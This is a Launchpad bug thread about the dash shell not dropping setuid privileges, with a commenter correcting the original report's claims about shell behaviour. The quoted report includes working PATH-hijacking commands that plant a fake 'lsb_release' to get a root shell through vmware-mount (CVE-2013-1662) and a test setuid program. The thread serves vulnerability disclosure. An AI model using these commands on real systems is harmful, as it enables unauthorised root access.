There are several incorrect statements in the initial report and the
linked CVE.
1. bash doesn't drop its privilege when setuid when called as sh. It
only does so when called as bash and without the -p option. It does
however go into a mode where it does not trust its environment as much
as when it's not setuid. It still trusts $PATH though.
2. pdksh like AT&T ksh or bash when called as sh, does not drop
privileges on startup. It enters the "privileged" mode in which it is
more careful in what it does with the environment (for instance, ignores
ENV as mandated by POSIX). Only recent versions of mksh (and possibly
OpenBSD sh/ksh) based on pdksh drop the privileges.
3. Non-Linux sh are generally not pdksh. From the major ones, only
OpenBSD and MirBSD have shells *based* on pdksh. Other BSDs generally
have a shell based on the Almquist shell (dash itself is mostly based on
NetBSD sh) or bash (like OS/X) and commercial unices generally on AT&T
ksh88
4. So it's not most shells dropping privileges. bash (as sh), dash,
pdksh, AT&T ksh, yash don't. Only some pdksh derivatives and bash when
called as sh do.
5. calling popen("/usr/bin/lsb-release") as root is not the right
solution as lsb-release doesn't need super-user privileges and is not
guaranteed to be found in /usr/bin and is at least on Debian a python
script (python's behaviour can also be affected by env vars) that relies
on PATH to find other utilities, so PATH would still need to be
sanitized).
So dash is not any more vulnerable that any other shell in that regard
and is certainly a much better choice in terms of security for /bin/sh
than any other bigger shell like bash, zsh or AT&T ksh.
Changing dash so it drops privileges is likely to break some usages
(rare as it's widely known that calling shells in setuid contexts is
very risky).
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https://bugs.launchpad.net/bugs/1215660
Title:
dash does not drop privileges when euid != uid, this can cause local
root exploits when setuid programs use system() or popen()
Status in “dash” package in Ubuntu:
Triaged
Bug description:
Poorly written setuid programs may call 'popen' or 'system' with
incorrectly specified arguments. For instance, there is a bug in
vmware-mount where it calls "popen('lsb-release')" (CVE-2013-1662). It
should be "popen('/usr/bin/lsb-release')". Because of this, an
attacker can drop a file named 'lsb-release' in . and then call
vmware-mount, and it will happily popen the attacker controlled file
as root.
Now, bash has a 'privdrop' option, however debian removed this option in the
1990's:
http://patch-tracker.debian.org/patch/series/view/bash/4.2+dfsg-0.1/privmode.diff
and
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=52586
Most shells will drop privs when euid != uid, because it turns out
calling popen / system from setuid scripts is nearly impossible to get
right (in fact, pretty much any setuid script is insanely difficult to
write without a vulnerability in it.
Ensure /bin/sh is dash
antarus@goats5 ~ $ sudo ln -sf /bin/dash /bin/sh
antarus@goats5 ~ $ cc -xc - -olsb_release<<<'main(){system("sh>`tty`
2>&1");}';PATH=.:$PATH vmware-mount
# whoami
root
If we switched to a sane shell (like busybox for example.)
antarus@goats5 ~ $ sudo ln -sf /bin/busybox /bin/sh
antarus@goats5 ~ $ cc -xc - -olsb_release<<<'main(){system("/bin/sh>`tty`
2>&1");}';PATH=.:$PATH vmware-mount
BusyBox v1.18.5 (Ubuntu 1:1.18.5-1ubuntu4.1) built-in shell (ash)
Enter 'help' for a list of built-in commands.
/usr/local/google/home/antarus $ whoami
whoami: unknown uid XXXXX # I have omitted my actual UID, needless to say it
isn't uid 0 :)
Now you may be saying 'hey i don't have vmware-mount handy' so
instead:
antarus@goats5 ~ $ cat /tmp/silly_setuid.c
#include <stdio.h>
int main(int argc, char ** argv) {
popen("lsb_release", "r");
}
antarus@goats5 ~ $ gcc /tmp/silly_setuid.c -o silly_setuid
antarus@goats5 ~ $ sudo chown root:root silly_setuid
[sudo] password for antarus:
antarus@goats5 ~ $ sudo chmod 4755 silly_setuid
antarus@goats5 ~ $ cc -xc - -olsb_release<<<'main(){system("whoami>`tty`
2>&1");}';PATH=.:$PATH silly_setuid
antarus@goats5 ~ $ root
Distributor ID: Ubuntu
Description: Ubuntu 12.04.1 LTS
Release: 12.04
Codename: precise
antarus@goats5 ~ $ apt-cache policy dash
dash:
Installed: 0.5.7-2ubuntu2
Candidate: 0.5.7-2ubuntu2
Version table:
*** 0.5.7-2ubuntu2 0
600 my-apt-mirror ubuntu-precise/main amd64 Packages
100 /var/lib/dpkg/status
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